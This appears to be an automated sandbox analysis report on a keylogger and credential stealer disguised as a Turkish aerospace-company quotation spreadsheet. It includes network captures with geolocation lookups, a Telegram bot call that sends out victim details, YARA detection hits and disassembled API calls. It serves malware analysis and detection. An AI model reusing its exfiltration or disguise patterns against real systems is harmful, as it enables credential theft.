2024-12-16 12:37:25 UTC	878	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341413 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M07Izq%2BN6Ltr9y61HC6h1gro0JF%2Bd%2FOFLvge57gAuMdHtS3J39uzCKPb2jqMCH6E9WOYbEdVaulyuIgL8cLk4ueqQoiSc%2BReDHSaR0Hf9RAmOxN4F6RRhLgxKZ7HImYEKKlgEHMv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb97eab378cc0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1806&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1567364&cwnd=219&unsent_bytes=0&cid=2b888787a645696b&ts=456&x=0"
2024-12-16 12:37:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49721	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:27 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-16 12:37:27 UTC	874	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:27 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341416 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0YgWlEDFVLUgi1TO0SbaZE9gp2mOO6wrG8QGuUL17pKAvTdZ%2B1EHsYPI2sMdPu75Munuu3%2FVFcNzEi60e6LzOj08ieIFsS6cqkCC334r7m2FqfxgHR7l6tABQzYucTMBeL0ICxFg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb990bc194225-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1583&rtt_var=594&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1841109&cwnd=235&unsent_bytes=0&cid=c928443becc101a2&ts=450&x=0"
2024-12-16 12:37:27 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49724	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:30 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 12:37:30 UTC	876	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:30 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341419 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ALlHY5IAoj6S1uVmpKoof65dmUiYPnxVCf8ZIvPky6YUOkHbVJEVlirJB0gV0J%2F3QOOpHwJ1ezNyCi3kx19YlhIjF46Sfu5Zd6eMYQwjFYPla%2FEPI7W4euPbZfDo%2FIU34TP54CL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb9a2f826434b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1604&rtt_var=602&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1820448&cwnd=243&unsent_bytes=0&cid=c80a53bb0493dda2&ts=485&x=0"
2024-12-16 12:37:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49726	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:33 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 12:37:33 UTC	869	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341422 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LfbPJDyDH8uVtIeEDOI0uYwtaEojB1tbw8fqDN8aSoUqOtUla1KUGUz7s2ClKvjMhwFllS1Lphlbo1IJ3yzaQOmh2ZRBGEJiMnJpdOfyMeS64bfbqOPKwnnwp0baKeWybckb9FZq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb9b4fb6df78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1478&min_rtt=1469&rtt_var=570&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1887524&cwnd=55&unsent_bytes=0&cid=f72c0368216fe55c&ts=455&x=0"
2024-12-16 12:37:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49727	149.154.167.220	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:35 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:767668%0D%0ADate%20and%20Time:%2017/12/2024%20/%2011:29:42%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20767668%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-16 12:37:35 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 12:37:35 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 12:37:35 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Analysis Process: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exePID: 2216, Parent PID: 4084

General

Target ID:	0
Start time:	07:37:03
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe"
Imagebase:	0xfa0000
File size:	1'029'120 bytes
MD5 hash:	E984D47DDDDD227739D93D4712EEC8FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:37:04
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe"
Imagebase:	0x3a0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3940377959.000000000280C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exePID: 2216, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	7%
Total number of Nodes:	2000
Total number of Limit Nodes:	162

Executed Functions

Function 00FA3B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FA3B68
IsDebuggerPresent.KERNEL32 ref: 00FA3B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,010652F8,010652E0,?,?), ref: 00FA3BEB

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

Part of subcall function 00FB092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00FA3C14,010652F8,?,?,?), ref: 00FB096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00FA3C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,01057770,00000010), ref: 00FDD281
SetCurrentDirectoryW.KERNEL32(?,010652F8,?,?,?), ref: 00FDD2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,01054260,010652F8,?,?,?), ref: 00FDD33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 00FDD346

Part of subcall function 00FA3A46: GetSysColorBrush.USER32(0000000F), ref: 00FA3A50
Part of subcall function 00FA3A46: LoadCursorW.USER32(00000000,00007F00), ref: 00FA3A5F
Part of subcall function 00FA3A46: LoadIconW.USER32(00000063), ref: 00FA3A76
Part of subcall function 00FA3A46: LoadIconW.USER32(000000A4), ref: 00FA3A88
Part of subcall function 00FA3A46: LoadIconW.USER32(000000A2), ref: 00FA3A9A
Part of subcall function 00FA3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00FA3AC0
Part of subcall function 00FA3A46: RegisterClassExW.USER32(?), ref: 00FA3B16

Part of subcall function 00FA39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00FA3A03
Part of subcall function 00FA39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00FA3A24
Part of subcall function 00FA39D5: ShowWindow.USER32(00000000,?,?), ref: 00FA3A38
Part of subcall function 00FA39D5: ShowWindow.USER32(00000000,?,?), ref: 00FA3A41

Part of subcall function 00FA434A: _memset.LIBCMT ref: 00FA4370
Part of subcall function 00FA434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00FA4415

Strings

runas, xrefs: 00FDD33A
This is a third-party compiled AutoIt script., xrefs: 00FDD279

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 8a4346c65a115b3b2eb4c2b9589a029b5505d8888d210271a4f56192ba0bcaf3
Instruction ID: 4d5e202afb158beb9fd10a048aab9bbd6c6617ce790dcd9f1a8e34c8b23896c0
Opcode Fuzzy Hash: 8a4346c65a115b3b2eb4c2b9589a029b5505d8888d210271a4f56192ba0bcaf3
Instruction Fuzzy Hash: 18514AB1D0420AAECF21EFB5DC06EFD7BB9AF477A0F004059F491A6152CA795605FB21

Function 00FA49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00FA49CD

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

GetCurrentProcess.KERNEL32(?,0102FAEC,00000000,00000000,?), ref: 00FA4A9A
IsWow64Process.KERNEL32(00000000), ref: 00FA4AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00FA4AE7
FreeLibrary.KERNEL32(00000000), ref: 00FA4AF2
GetSystemInfo.KERNEL32(00000000), ref: 00FA4B23
GetSystemInfo.KERNEL32(00000000), ref: 00FA4B2F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 19e72ae79c5c338e8a90857335d345af0cc5eccae33006e6f5206b99149d898c
Instruction ID: 0f679460154b689cd85d7bd419e1839f2c75ea18e975ef6d3025b304bca3b106
Opcode Fuzzy Hash: 19e72ae79c5c338e8a90857335d345af0cc5eccae33006e6f5206b99149d898c
Instruction Fuzzy Hash: 919102719897C1DEC731DF6884502AABFF5AF6A310F58499ED0C683B02D264B908E769

Function 00FA4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00FA4D8E,?,?,00000000,00000000), ref: 00FA4E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00FA4D8E,?,?,00000000,00000000), ref: 00FA4EB0
LoadResource.KERNEL32(?,00000000,?,?,00FA4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00FA4E2F), ref: 00FDD937
SizeofResource.KERNEL32(?,00000000,?,?,00FA4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00FA4E2F), ref: 00FDD94C
LockResource.KERNEL32(00FA4D8E,?,?,00FA4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00FA4E2F,00000000), ref: 00FDD95F

Strings

SCRIPT, xrefs: 00FA4EA6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: b755e6f71e0aa34a98ad7dd6743a257e11be60ee15270158badac29da63e8a6f
Instruction ID: 96881683f966eceb3b9d2da17f78c40e3c01ed8ddbf2a5ad7e2853a9bb19d048
Opcode Fuzzy Hash: b755e6f71e0aa34a98ad7dd6743a257e11be60ee15270158badac29da63e8a6f
Instruction Fuzzy Hash: CD114CB5640701ABD7318F65EC88F677BBAEBC6B51F204268F44596250DBA2E8049660

Function 0100445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00FDE398), ref: 0100446A
FindFirstFileW.KERNELBASE(?,?), ref: 0100447B
FindClose.KERNEL32(00000000), ref: 0100448B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: bf03e10ee1d07cb1372e3b7cde5c4a4fe745aa273c3e54a459dc6882f69640a3
Instruction ID: 34c455d664bfa9a2c399a00f8cf1703d80cca51428215897ba6fd0db01e847da
Opcode Fuzzy Hash: bf03e10ee1d07cb1372e3b7cde5c4a4fe745aa273c3e54a459dc6882f69640a3
Instruction Fuzzy Hash: 17E0D8324105016752326E38EC0D4EE77AC9E06275F20474AF9B5C10C0EF7859048699

Function 00FAE6A0 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00FE3E62

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: da023db69b94cd8f8a817aff00be4d88328b1a6618ea4727a6a636092256e086
Instruction ID: 6e729d9a8fd6327aaa937de596b08a7c1498d39dea93df2c32b92daf3320a977
Opcode Fuzzy Hash: da023db69b94cd8f8a817aff00be4d88328b1a6618ea4727a6a636092256e086
Instruction Fuzzy Hash: 49A28DB5E00206CFCB24CF58C484AAEB7B2FF5A324F248069D955AB351D735ED46EB90

Function 00FB09D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FB0A5B
timeGetTime.WINMM ref: 00FB0D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FB0E53
Sleep.KERNEL32(0000000A), ref: 00FB0E61
LockWindowUpdate.USER32(00000000,?,?), ref: 00FB0EFA
DestroyWindow.USER32 ref: 00FB0F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FB0F20
Sleep.KERNEL32(0000000A,?,?), ref: 00FE4E83
